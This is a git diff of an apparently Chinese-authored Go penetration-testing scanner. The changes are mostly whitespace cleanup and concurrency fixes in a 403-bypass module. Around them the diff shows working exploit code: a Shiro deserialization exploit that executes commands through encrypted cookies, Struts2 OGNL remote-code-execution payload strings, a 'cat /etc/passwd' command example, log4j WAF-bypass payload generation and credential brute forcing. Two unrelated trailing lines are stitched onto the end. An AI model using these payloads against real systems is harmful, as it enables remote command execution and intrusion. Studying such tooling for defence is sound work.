b/scan/Pocs/apollo/apollo.go index ce5915c..e61a2fd 100644 --- a/scan/Pocs/apollo/apollo.go +++ b/scan/Pocs/apollo/apollo.go @@ -19,11 +19,11 @@ import ( func Run(adminService string, configService string) { // 1. 获取所有应用的基本信息 appId apps := getApps(adminService) - + if apps == nil { return } - + for _, app := range apps { // 2. 获取 appId 相关的 clusters clusters := getClusters(adminService, app.AppId) @@ -51,7 +51,7 @@ func Run(adminService string, configService string) { } } } - + } } @@ -65,21 +65,21 @@ type Apps struct { func getApps(target string) []Apps { target = fmt.Sprintf("%s/apps", target) - + response, err := httpx.Get(target) if err != nil { logging.Logger.Errorln(err) return nil } - + var apps []Apps - + err = json.Unmarshal([]byte(response.Body), &apps) if err != nil { logging.Logger.Errorln(err) return nil } - + return apps } @@ -91,21 +91,21 @@ type Clusters struct { func getClusters(target string, appId string) []Clusters { target = fmt.Sprintf("%s/apps/%s/clusters", target, appId) - + response, err := httpx.Get(target) if err != nil { logging.Logger.Errorln(err) return nil } - + var clusters []Clusters - + err = json.Unmarshal([]byte(response.Body), &clusters) if err != nil { logging.Logger.Errorln(err) return nil } - + return clusters } @@ -117,21 +117,21 @@ type NameSpaces struct { func getNameSpace(target string, appId string, cluster string) []NameSpaces { target = fmt.Sprintf("%s/apps/%s/clusters/%s/namespaces", target, appId, cluster) - + response, err := httpx.Get(target) if err != nil { logging.Logger.Errorln(err) return nil } - + var nameSpaces []NameSpaces - + err = json.Unmarshal([]byte(response.Body), &nameSpaces) if err != nil { logging.Logger.Errorln(err) return nil } - + return nameSpaces } @@ -145,12 +145,12 @@ type Configs struct { func getConf(target string, appId string, cluster string, nameSpaces string) (string, string) { target = fmt.Sprintf("%s/configs/%s/%s/%s", target, appId, cluster, nameSpaces) - + response, err := httpx.Get(target) if err != nil { logging.Logger.Errorln(err) return "", "" } - + return target, response.Body } diff --git a/scan/Pocs/apollo/apollo_test.go b/scan/Pocs/apollo/apollo_test.go index 4e696b5..6cad4b3 100644 --- a/scan/Pocs/apollo/apollo_test.go +++ b/scan/Pocs/apollo/apollo_test.go @@ -10,6 +10,6 @@ func TestApollo(t *testing.T) { logging.Logger = logging.New(true, "", "agent", true) conf.GlobalConfig = &conf.Config{} conf.GlobalConfig.Http.Proxy = "http://127.0.0.1:8080" - + Run("http://172.16.39.132:8091", "http://172.16.39.132:8089") } diff --git a/scan/Pocs/java/shiro/exploit.go b/scan/Pocs/java/shiro/exploit.go index e6d474a..852c60e 100644 --- a/scan/Pocs/java/shiro/exploit.go +++ b/scan/Pocs/java/shiro/exploit.go @@ -18,7 +18,7 @@ import ( func Exploit(u, cookieName, key, mode, gadget string, cmd string, echo string) string { keyDecoded, _ := codec.DecodeBase64(key) // 生成key - + gadget = strings.Split(gadget, " | ")[0] gadgetObj, err := getGadgetObj(gadget, cmd, echo) if err != nil { @@ -30,10 +30,10 @@ func Exploit(u, cookieName, key, mode, gadget string, cmd string, echo string) s logging.Logger.Errorln(err) return "" } - + payload := "" payloadPadding := codec.PKCS5Padding(gadgetBytes, 16) - + // 加密payload if mode == "GCM" { encodePayload, err := codec.AESGCMEncrypt(keyDecoded, payloadPadding, nil) @@ -62,7 +62,7 @@ func Exploit(u, cookieName, key, mode, gadget string, cmd string, echo string) s var header = make(map[string]string, 1) header["Cookie"] = cookieName + "=" + payload header["Accept-Language"] = "zh-CN,zh;q=1.9" - if res, err := httpx.Request(u, "GET", "", header); err == nil { + if res, err := httpx.Request(u, "GET", "", header); err == nil { if echo == "header" || echo == "spring" { return res.Header.Get("testcmd") } @@ -80,8 +80,8 @@ func getGadgetObj(gadget string, cmd string, echo string) (gadgetObj *yso.JavaOb return } } else if echo == "spring" { - //gadgetObj, err = getGadget(yso.SetClassSpringEchoTemplate(), yso.SetHeader("testcmd", cmd), yso.SetParam(cmd), yso.SetExecAction(), yso.SetClassName(util.RandomString(8))) - + // gadgetObj, err = getGadget(yso.SetClassSpringEchoTemplate(), yso.SetHeader("testcmd", cmd), yso.SetParam(cmd), yso.SetExecAction(), yso.SetClassName(util.RandomString(8))) + gadgetObj, err = getGadget(yso.SetClassSpringEchoTemplate(), yso.SetParam(cmd), yso.SetEchoBody(), yso.SetExecAction(), yso.SetClassName(util.RandomString(8))) if err != nil { logging.Logger.Errorln(err) @@ -102,9 +102,9 @@ func getGadgetObj(gadget string, cmd string, echo string) (gadgetObj *yso.JavaOb } else { return nil, errors.New("unsupported echo " + echo + ", eg:tomcat,spring,tw,header") } - + return gadgetObj, nil } - + return nil, errors.New("unsupported gadget " + gadget) } diff --git a/scan/Pocs/java/shiro/gadget.go b/scan/Pocs/java/shiro/gadget.go index 141b1a1..0b4a2c6 100644 --- a/scan/Pocs/java/shiro/gadget.go +++ b/scan/Pocs/java/shiro/gadget.go @@ -43,12 +43,12 @@ func ScanGadget(u, cookieName, key string, mode string) string { logging.Logger.Errorln(err) return "" } - + echoKey := util.RandomString(6) echoValue := util.RandomString(8) reqValue := echoKey + "|" + echoValue payloadObj, _ := yso.LoadClassFromBytes(bytesCode) - + flag := payloadObj.FindConstStringFromPool("Etag|3147526947") if flag != nil { flag.Value = reqValue @@ -63,12 +63,12 @@ func ScanGadget(u, cookieName, key string, mode string) string { logging.Logger.Errorf("DecodeBase64 %v", err) return "" } - + var gadgetName = "" for gadget, genGadget := range gadgets { logging.Logger.Debugf("check gadget %v", gadget) className := util.RandomString(8) - + gadgetObj, err := genGadget(yso.SetBytesEvilClass(fixPayload), yso.SetObfuscation(), yso.SetClassName(className)) if err != nil { logging.Logger.Errorln(err) @@ -81,7 +81,7 @@ func ScanGadget(u, cookieName, key string, mode string) string { } payload := "" payloadPadding := codec.PKCS5Padding(gadgetBytes, 16) - + if mode == "GCM" { encodePayload, err := codec.AESGCMEncrypt(keyDecoded, payloadPadding, nil) if err != nil { @@ -102,7 +102,7 @@ func ScanGadget(u, cookieName, key string, mode string) string { } payload = codec.EncodeBase64(append(iv, encodePayload...)) } - + var header = make(map[string]string, 1) header["Cookie"] = cookieName + "=" + payload if res, err := httpx.Request(u, "GET", "", header); err == nil { diff --git a/scan/Pocs/java/struts2/s2-001/s2-001.go b/scan/Pocs/java/struts2/s2-001/s2-001.go index 7596350..8e13785 100644 --- a/scan/Pocs/java/struts2/s2-001/s2-001.go +++ b/scan/Pocs/java/struts2/s2-001/s2-001.go @@ -23,7 +23,7 @@ func GetWebPath(targetUrl string, postData string) { } func ExecCommand(targeturl string, command string, postData string) { respStrings := utils.PostFunc4Struts2(targeturl, postData, "", utils.POC_s001_exec(command)) - //下面步骤清洗数据,主要是去掉空字符,输出块大小可以在poc中调节 + // 下面步骤清洗数据,主要是去掉空字符,输出块大小可以在poc中调节 respStrings = strings.Replace(url.QueryEscape(respStrings), "%00", "", -1) execResult := utils.GetBetweenStr(respStrings, "s001execstart", "s001execend") fmt.Println(url.QueryUnescape(execResult)) diff --git a/scan/Pocs/java/struts2/s2-007/s2-007.go b/scan/Pocs/java/struts2/s2-007/s2-007.go index f57248c..6e1c1de 100644 --- a/scan/Pocs/java/struts2/s2-007/s2-007.go +++ b/scan/Pocs/java/struts2/s2-007/s2-007.go @@ -13,7 +13,7 @@ func Check(targeturl string, postData string) { } else { fmt.Println("Struts2-007 Not Vulnerable.") } - + } func ExecCommand(targeturl string, command string, postData string) { respString := utils.PostFunc4Struts2(targeturl, postData, "", utils.POC_s007_exec(command)) diff --git a/scan/Pocs/java/struts2/s2-016/s2-016.go b/scan/Pocs/java/struts2/s2-016/s2-016.go index ecdf691..528248a 100644 --- a/scan/Pocs/java/struts2/s2-016/s2-016.go +++ b/scan/Pocs/java/struts2/s2-016/s2-016.go @@ -10,10 +10,10 @@ import ( ST2SG.exe --url http://192.168.123.128:8080/S2-016/default.action --vn 16 --mode exec --cmd "cat /etc/passwd" */ func Check(targetUrl string) { - //s016的目的url必须带action,比如:http://xxx.com/xxx.action - //respString := utils.GetFunc4Struts2(targetUrl,"",utils.POC_s016_check) + // s016的目的url必须带action,比如:http://xxx.com/xxx.action + // respString := utils.GetFunc4Struts2(targetUrl,"",utils.POC_s016_check) headerLocation := utils.Get302Location(targetUrl + utils.POC_s016_check) - //fmt.Println(headerLocation) + // fmt.Println(headerLocation) if utils.IfContainsStr(headerLocation, "6308") { color.Red("*Found Struts2-016!") } else { diff --git a/scan/Pocs/java/struts2/s2-045/s2-045.go b/scan/Pocs/java/struts2/s2-045/s2-045.go index 414723e..4f5d3cd 100644 --- a/scan/Pocs/java/struts2/s2-045/s2-045.go +++ b/scan/Pocs/java/struts2/s2-045/s2-045.go @@ -20,7 +20,7 @@ func Check(targetUrl string) { func GetWebpath(targetUrl string) { webpath := utils.PostFunc4Struts2(targetUrl, "", "qwer", utils.POC_s045_webpath) color.Green(webpath) - + } func ExecCommand(targetUrl string, command string) { respString := utils.PostFunc4Struts2(targetUrl, "", "qwer", utils.POC_s045_exec(command)) diff --git a/scan/Pocs/java/struts2/s2-046/s2-046.go b/scan/Pocs/java/struts2/s2-046/s2-046.go index 78c0003..1af851a 100644 --- a/scan/Pocs/java/struts2/s2-046/s2-046.go +++ b/scan/Pocs/java/struts2/s2-046/s2-046.go @@ -22,7 +22,7 @@ func Check(url string, client *httpx.Client) { } _ = writer.WriteField("", "") writer.Close() - + var headers = make(map[string]string, 1) headers["Content-Type"] = writer.FormDataContentType() resp, err := client.Request(url, "POST", body.String(), headers) @@ -30,7 +30,7 @@ func Check(url string, client *httpx.Client) { return } utils.PostFunc4Struts2(url, body.String(), writer.FormDataContentType(), "") - + isVulable := strings.Contains(resp.Body, utils.Checkflag) if isVulable { color.Red("*Found Struts2-046!") @@ -46,7 +46,7 @@ func ExecCommand(url string, command string, client *httpx.Client) { } _ = writer.WriteField("", "") writer.Close() - + var headers = make(map[string]string, 1) headers["Content-Type"] = writer.FormDataContentType() resp, err := client.Request(url, "POST", body.String(), headers) diff --git a/scan/Pocs/java/struts2/s2-053/s2-053.go b/scan/Pocs/java/struts2/s2-053/s2-053.go index 93db823..30f6b72 100644 --- a/scan/Pocs/java/struts2/s2-053/s2-053.go +++ b/scan/Pocs/java/struts2/s2-053/s2-053.go @@ -18,7 +18,7 @@ func Check(targetUrl string, postData string) { } else { fmt.Println("Struts2-053 Not Vulnerable.") } - + } func ExecCommand(targetUrl string, command string, postData string) { respString := utils.PostFunc4Struts2(targetUrl, postData, "", utils.POC_s053_exec(command)) diff --git a/scan/Pocs/java/struts2/s2-057/s2-057.go b/scan/Pocs/java/struts2/s2-057/s2-057.go index b728cd5..f62f81d 100644 --- a/scan/Pocs/java/struts2/s2-057/s2-057.go +++ b/scan/Pocs/java/struts2/s2-057/s2-057.go @@ -10,7 +10,7 @@ import ( func Check(targetUrl string) { actionIndex := strings.LastIndexAny(targetUrl, "/") targetUrl = targetUrl[:actionIndex] + utils.POC_s057_check + targetUrl[actionIndex:] - //_ = utils.GetFunc4Struts2(targetUrl,"","") + // _ = utils.GetFunc4Struts2(targetUrl,"","") headerLocation := utils.Get302Location(targetUrl) if utils.IfContainsStr(headerLocation, "6308") { color.Red("*Found Struts2-057!") diff --git a/scan/Pocs/java/struts2/struts2.go b/scan/Pocs/java/struts2/struts2.go index df8600a..0295d4b 100644 --- a/scan/Pocs/java/struts2/struts2.go +++ b/scan/Pocs/java/struts2/struts2.go @@ -165,5 +165,5 @@ func S2(options conf.Options, client *httpx.Client) { logging.Logger.Infoln("参数错误") } } - + } diff --git a/scan/Pocs/java/struts2/utils/utils.go b/scan/Pocs/java/struts2/utils/utils.go index bfcfeb6..c8c75fb 100644 --- a/scan/Pocs/java/struts2/utils/utils.go +++ b/scan/Pocs/java/struts2/utils/utils.go @@ -16,13 +16,13 @@ var ( Checkflag = CreateHash("ST2SG") Timeout = time.Second * 3 GlobalUserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" - + POC_s001_webpath = "%25%7b%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest()%2c%23response%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2c%23response.println(%27s001webpathstart%27%2b%23req.getRealPath(%27%2f%27)%2b%27s001webpathend%27)%2c%23response.flush()%2c%23response.close()%7d" POC_s005_webpath = "?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43req%5C75@org.apache.struts2.ServletActionContext@getRequest%28%29%27%29%28d%29%29&%28i2%29%28%28%27%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28i97%29%28%28%27%5C43xman.getWriter%28%29.println%28%5C43req.getRealPath%28%22%5Cu005c%22%29%29%27%29%28d%29%29&%28i99%29%28%28%27%5C43xman.getWriter%28%29.close%28%29%27%29%28d%29%29" POC_s016_webpath = "?redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D" POC_s045_webpath = "%{(#fuck='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcldedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath(\"/\"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" POC_s046_webpath = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('web')).(#res.getWriter().print('path:')).(#res.getWriter().print(#req.getSession().getServletContext().getRealPath('/'))).(#res.getWriter().flush()).(#res.getWriter().close())}\x00b" - + POC_s001_check = "%25%7B3154%2B3154%7D" POC_s005_check = POC_s005_exec("echo%20" + Checkflag) POC_s007_check = "%27%2B%28%23%7B3154%2B3154%7D%29%2B%27" @@ -62,7 +62,7 @@ func POC_s009_exec(param string, command string) string { } func POC_s012_exec(command string) string { command = parseCommand(command) - + return "%25%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5B%5D%7B" + command + "%7D)).redirectErrorStream(true).start()%2c%23b%3d%23a.getInputStream()%2c%23c%3dnew+java.io.InputStreamReader(%23b)%2c%23d%3dnew+java.io.BufferedReader(%23c)%2c%23e%3dnew+char%5b20000%5d%2c%23d.read(%23e)%2c%23f%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2c%23f.getWriter().println(%22s012execstart%22)%2c%23f.getWriter().println(new+java.lang.String(%23e))%2c%23f.getWriter().flush()%2c%23f.getWriter().close()%7d" } func POC_s013_exec(command string) string { @@ -137,9 +137,9 @@ func GetBetweenStr(str, start, end string) string { } func PostFunc4Struts2(pUrl string, postData string, contentType string, st2Payload string) string { postData = strings.Replace(postData, "fuckit", st2Payload, 1) - + var headers = make(map[string]string) - + if contentType != "" { headers["Content-Type"] = st2Payload } @@ -147,7 +147,7 @@ func PostFunc4Struts2(pUrl string, postData string, contentType string, st2Paylo if err != nil { return "" } - + return resp.Body } diff --git a/scan/Pocs/nuclei/nuclei.go b/scan/Pocs/nuclei/nuclei.go index 9b01927..65a7f23 100644 --- a/scan/Pocs/nuclei/nuclei.go +++ b/scan/Pocs/nuclei/nuclei.go @@ -144,8 +144,11 @@ func nuclei(target string, ft []string, tags []string, outputWriter *testutils.M home, _ := os.UserHomeDir() catalog := disk.NewCatalog(path.Join(home, "nuclei-templates")) - rateLimiter := ratelimit.New(context.Background(), 150, time.Second) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + rateLimiter := ratelimit.New(ctx, 150, time.Second) defer rateLimiter.Stop() + executeOpts := protocols.ExecutorOptions{ Output: outputWriter, Options: defaultOpts, diff --git a/scan/Pocs/oa/yongyou/nc/nc.go b/scan/Pocs/oa/yongyou/nc/nc.go index 4e33f97..1d8b046 100644 --- a/scan/Pocs/oa/yongyou/nc/nc.go +++ b/scan/Pocs/oa/yongyou/nc/nc.go @@ -40,13 +40,13 @@ func Scan(u string, client *httpx.Client) bool { continue } } - + // if resp.StatusCode == 200 || resp.StatusCode == 302 { if resp.StatusCode == 200 { logging.Logger.Infoln("接口存在", path) return true } } - + return false } diff --git a/scan/Pocs/pocs_go/log4j/scan.go b/scan/Pocs/pocs_go/log4j/scan.go index 9b76689..b97771a 100644 --- a/scan/Pocs/pocs_go/log4j/scan.go +++ b/scan/Pocs/pocs_go/log4j/scan.go @@ -20,21 +20,21 @@ func Scan(target, method, body string, client *httpx.Client) { return } payloads := generate_waf_bypass_payloads(dig.Domain, dig.Key) - + payloads = append(payloads, get_cve_2021_45046_payloads(dig.Domain, dig.Key)...) payloads = append(payloads, get_cve_2022_42889_payloads(dig.Domain, dig.Key)...) - + for _, payload := range payloads { var headers = make(map[string]string, len(commonHeaders)) for _, header := range commonHeaders { headers[header] = payload } - _, err := client.Request(target, method, body, headers) + _, err := client.Request(target, method, body, headers) if err != nil { continue } } - + if reverse.PullLogs(dig) { JieOutput.OutChannel <- JieOutput.VulMessage{ DataType: "web_vul", diff --git a/scan/bbscan/bbscan.go b/scan/bbscan/bbscan.go index 297e2e9..31a2f81 100644 --- a/scan/bbscan/bbscan.go +++ b/scan/bbscan/bbscan.go @@ -274,7 +274,6 @@ func BBscan(u string, root bool, fingprints []string, header map[string]string, _ = pool.Submit(func() { defer wg.Done() - <-time.After(time.Duration(100) * time.Millisecond) page, res, err := ReqPage(target, header, client) if err == nil && res != nil { diff --git a/scan/bbscan/fuzzfingerprints.go b/scan/bbscan/fuzzfingerprints.go index 3be2206..b1063cf 100644 --- a/scan/bbscan/fuzzfingerprints.go +++ b/scan/bbscan/fuzzfingerprints.go @@ -40,7 +40,7 @@ func addFingerprintsnormal(target string, technologies []string, req *httpx.Resp if err != nil { return nil } - + switch parse.Path { case "/manager/html": if req.StatusCode == 401 && req.Header.Get("Www-Authenticate") != "" { diff --git a/scan/gadget/brute/hydra.go b/scan/gadget/brute/hydra.go index c7575e8..5624287 100644 --- a/scan/gadget/brute/hydra.go +++ b/scan/gadget/brute/hydra.go @@ -19,7 +19,7 @@ func Hydra(target, host, service string, port int) { err error ) service = strings.ToLower(service) - + switch service { case "redis": msg, err = hydra2.Redis(host, port) @@ -44,11 +44,11 @@ func Hydra(target, host, service string, port int) { case "microsoft-ds", "smb": msg, err = hydra2.SMB(host, port) } - + if err != nil { return } - + output.OutChannel <- output.VulMessage{ DataType: "web_vul", Plugin: "Hydra", diff --git a/scan/gadget/brute/weblogic_brute.go b/scan/gadget/brute/weblogic_brute.go index ecb3d26..3212f61 100644 --- a/scan/gadget/brute/weblogic_brute.go +++ b/scan/gadget/brute/weblogic_brute.go @@ -16,7 +16,7 @@ func WeblogicBrute(url string, client *httpx.Client) (username string, password if strings.Contains(req2.RequestUrl, "console.portal") { logging.Logger.Infof(fmt.Sprintf("Found vuln Weblogic password|%s:%s|%s\n", weblogicuserpass[uspa].Username, weblogicuserpass[uspa].Password, url+"/console/")) return weblogicuserpass[uspa].Username, weblogicuserpass[uspa].Password - + } } } diff --git a/scan/gadget/bypass403/403bypass.go b/scan/gadget/bypass403/403bypass.go index 33dcdc1..ad74898 100644 --- a/scan/gadget/bypass403/403bypass.go +++ b/scan/gadget/bypass403/403bypass.go @@ -198,6 +198,7 @@ func Bypass403(uri, m string, client *httpx.Client) { // method 通过更改请求方法,尝试绕过 403 func method(uri, m string, client *httpx.Client) *Result { ch := make(chan struct{}, 5) + var wg sync.WaitGroup result := &Result{} var flag = false for _, line := range Dict["httpmethods.txt"] { @@ -207,14 +208,17 @@ func method(uri, m string, client *httpx.Client) *Result { if flag { break } + wg.Add(1) ch <- struct{}{} go func(line string) { + defer func() { + wg.Done() + <-ch + }() resp, err := client.Request(uri, line, "", nil) if err != nil { - <-ch return } - <-ch if resp != nil && resp.StatusCode == 200 { // 遇到很多这个,测试也没发现有什么东西 应该就是这类的直接放过了 if len(resp.Body) == 0 || resp.Header.Get("Content-Length") == "0" || strings.Contains(resp.Body, "403 Forbidden") || strings.Contains(resp.Body, "a padding to disable MSIE and Chrome friendly error page") { @@ -227,10 +231,10 @@ func method(uri, m string, client *httpx.Client) *Result { Request: resp.RequestDump, Response: resp.ResponseDump, } - return } }(line) } + wg.Wait() close(ch) if flag { return result @@ -241,6 +245,7 @@ func method(uri, m string, client *httpx.Client) *Result { // headers 通过添加header,尝试绕过 403 func headers(uri, m string, client *httpx.Client) *Result { ch := make(chan struct{}, 10) + var wg sync.WaitGroup result := &Result{} var flag = false @@ -249,16 +254,19 @@ func headers(uri, m string, client *httpx.Client) *Result { if flag { break } + wg.Add(1) ch <- struct{}{} go func(ip, line string) { + defer func() { + wg.Done() + <-ch + }() header := make(map[string]string) header[line] = ip resp, err := client.Request(uri, m, "", header) if err != nil { - <-ch return } - <-ch if resp != nil && resp.StatusCode == 200 { flag = true result = &Result{ @@ -267,14 +275,14 @@ func headers(uri, m string, client *httpx.Client) *Result { Request: resp.RequestDump, Response: resp.ResponseDump, } - return } }(ip, line) } - } + wg.Wait() if flag { + close(ch) return result } @@ -282,17 +290,20 @@ func headers(uri, m string, client *httpx.Client) *Result { if flag { break } + wg.Add(1) ch <- struct{}{} go func(line string) { + defer func() { + wg.Done() + <-ch + }() x := strings.Split(line, " ") header := make(map[string]string) header[x[0]] = x[1] resp, err := client.Request(uri, m, "", header) if err != nil { - <-ch return } - <-ch if resp != nil && resp.StatusCode == 200 { flag = true result = &Result{ @@ -301,35 +312,41 @@ func headers(uri, m string, client *httpx.Client) *Result { Request: resp.RequestDump, Response: resp.ResponseDump, } - return } }(line) } + wg.Wait() + close(ch) + if flag { return result } - close(ch) + return nil } // endPaths 通过添加 path 后缀,尝试绕过 403 func endPaths(uri, m string, client *httpx.Client) *Result { ch := make(chan struct{}, 5) + var wg sync.WaitGroup result := &Result{} var flag = false for _, line := range Dict["endpaths.txt"] { if flag { break } + wg.Add(1) ch <- struct{}{} go func(line string) { + defer func() { + wg.Done() + <-ch + }() resp, err := client.Request(uri+line, m, "", nil) if err != nil { - <-ch return } - <-ch if resp != nil && resp.StatusCode == 200 { flag = true result = &Result{ @@ -338,10 +355,10 @@ func endPaths(uri, m string, client *httpx.Client) *Result { Request: resp.RequestDump, Response: resp.ResponseDump, } - return } }(line) } + wg.Wait() close(ch) if flag { return result @@ -352,6 +369,7 @@ func endPaths(uri, m string, client *httpx.Client) *Result { // midPaths 在 path 路径中间添加字符,尝试绕过 403 func midPaths(uri, m string, client *httpx.Client) *Result { ch := make(chan struct{}, 5) + var wg sync.WaitGroup result := &Result{} var flag = false @@ -371,8 +389,13 @@ func midPaths(uri, m string, client *httpx.Client) *Result { if flag { break } + wg.Add(1) ch <- struct{}{} go func(line string) { + defer func() { + wg.Done() + <-ch + }() var fullpath string if uri[len(uri)-1:] == "/" { fullpath = baseuri + line + uripath + "/" @@ -382,10 +405,8 @@ func midPaths(uri, m string, client *httpx.Client) *Result { resp, err := client.Request(fullpath, m, "", nil) if err != nil { - <-ch return } - <-ch if resp != nil && resp.StatusCode == 200 { flag = true result = &Result{ @@ -394,10 +415,10 @@ func midPaths(uri, m string, client *httpx.Client) *Result { Request: resp.RequestDump, Response: resp.ResponseDump, } - return } }(line) } + wg.Wait() close(ch) if flag { return result @@ -408,6 +429,7 @@ func midPaths(uri, m string, client *httpx.Client) *Result { // capital 通过将URI最后部分中的每个字母大写, 尝试绕过 403 func capital(uri, m string, client *httpx.Client) *Result { ch := make(chan struct{}, 5) + var wg sync.WaitGroup result := &Result{} var flag = false x := strings.Split(uri, "/") @@ -425,8 +447,13 @@ func capital(uri, m string, client *httpx.Client) *Result { if flag { break } + wg.Add(1) ch <- struct{}{} go func(z rune) { + defer func() { + wg.Done() + <-ch + }() newpath := strings.Map(func(r rune) rune { if r == z { return unicode.ToUpper(r) @@ -444,10 +471,8 @@ func capital(uri, m string, client *httpx.Client) *Result { resp, err := client.Request(fullpath, m, "", nil) if err != nil { - <-ch return } - <-ch if resp != nil && resp.StatusCode == 200 { flag = true result = &Result{ @@ -456,10 +481,10 @@ func capital(uri, m string, client *httpx.Client) *Result { Request: resp.RequestDump, Response: resp.ResponseDump, } - return } }(z) } + wg.Wait() close(ch) if flag { return result diff --git a/scan/gadget/collection/collection.go b/scan/gadget/collection/collection.go index 5998762..aa7f7f8 100644 --- a/scan/gadget/collection/collection.go +++ b/scan/gadget/collection/collection.go @@ -105,9 +105,6 @@ func Info(target, domain string, body string, contentType string) (c output.Coll if _u == "" || !strings.HasPrefix(_u, "/") { continue } - if filterImg(_u) { - continue - } c.Api = append(c.Api, _u) } else { // "(?i)\\.(get|post|put|delete|options|connect|trace|patch)\\([\"'](/?.*?)[\"']" 这个正则 @@ -115,9 +112,6 @@ func Info(target, domain string, body string, contentType string) (c output.Coll if u[2] == "" || !strings.HasPrefix(u[2], "/") { continue } - if filterImg(u[2]) { - continue - } c.Api = append(c.Api, u[1]+" "+u[2]) } logging.Logger.Debugln(target, u) @@ -189,11 +183,3 @@ func urlFilter(str [][]string) [][]string { } return str } - -func filterImg(u string) bool { - if strings.HasSuffix(u, ".png") || strings.HasSuffix(u, ".jpg") || strings.HasSuffix(u, ".jpeg") || strings.HasSuffix(u, ".gif") || strings.HasSuffix(u, ".css") { - return true - } - - return false -} diff --git a/scan/gadget/swagger/swagger_test.go b/scan/gadget/swagger/swagger_test.go index 7e50ffc..6590e6a 100644 --- a/scan/gadget/swagger/swagger_test.go +++ b/scan/gadget/swagger/swagger_test.go @@ -23,8 +23,8 @@ func TestSwagger(t *testing.T) { fmt.Println(v.PrintScreen()) } }() - + Scan("", "") - + wg.Wait() } diff --git a/scan/gadget/waybackarchive/waybackarchive.go b/scan/gadget/waybackarchive/waybackarchive.go index f93fd16..1d8b223 100644 --- a/scan/gadget/waybackarchive/waybackarchive.go +++ b/scan/gadget/waybackarchive/waybackarchive.go @@ -18,18 +18,18 @@ func Run(u string, client *httpx.Client) map[string]string { if !strings.HasSuffix(u, "/") { u += "/" } - + resp, err := client.Request(fmt.Sprintf("http://web.archive.org/cdx/search/cdx?url=%s*&output=txt&fl=original&collapse=urlkey&fastLatest=true", u), "GET", "", nil) if err != nil { - logging.Logger.Errorln("WayBackArchive err:", err) + logging.Logger.Debugln("WayBackArchive err:", err) return nil } - + lines := strings.Split(resp.Body, "\n") - + // 收集到的 url 有很多只是参数不一样,所以这里进行判断,只要唯一的 url uniqueUrl := make(map[string]string) - + for _, line := range lines { if line == "" { continue @@ -38,12 +38,12 @@ func Run(u string, client *httpx.Client) map[string]string { if id == "" { continue } - + if _, ok := uniqueUrl[id]; ok { continue } uniqueUrl[id] = line } - + return uniqueUrl }

    troy serial server
    邮局管理员可自行分配邮箱!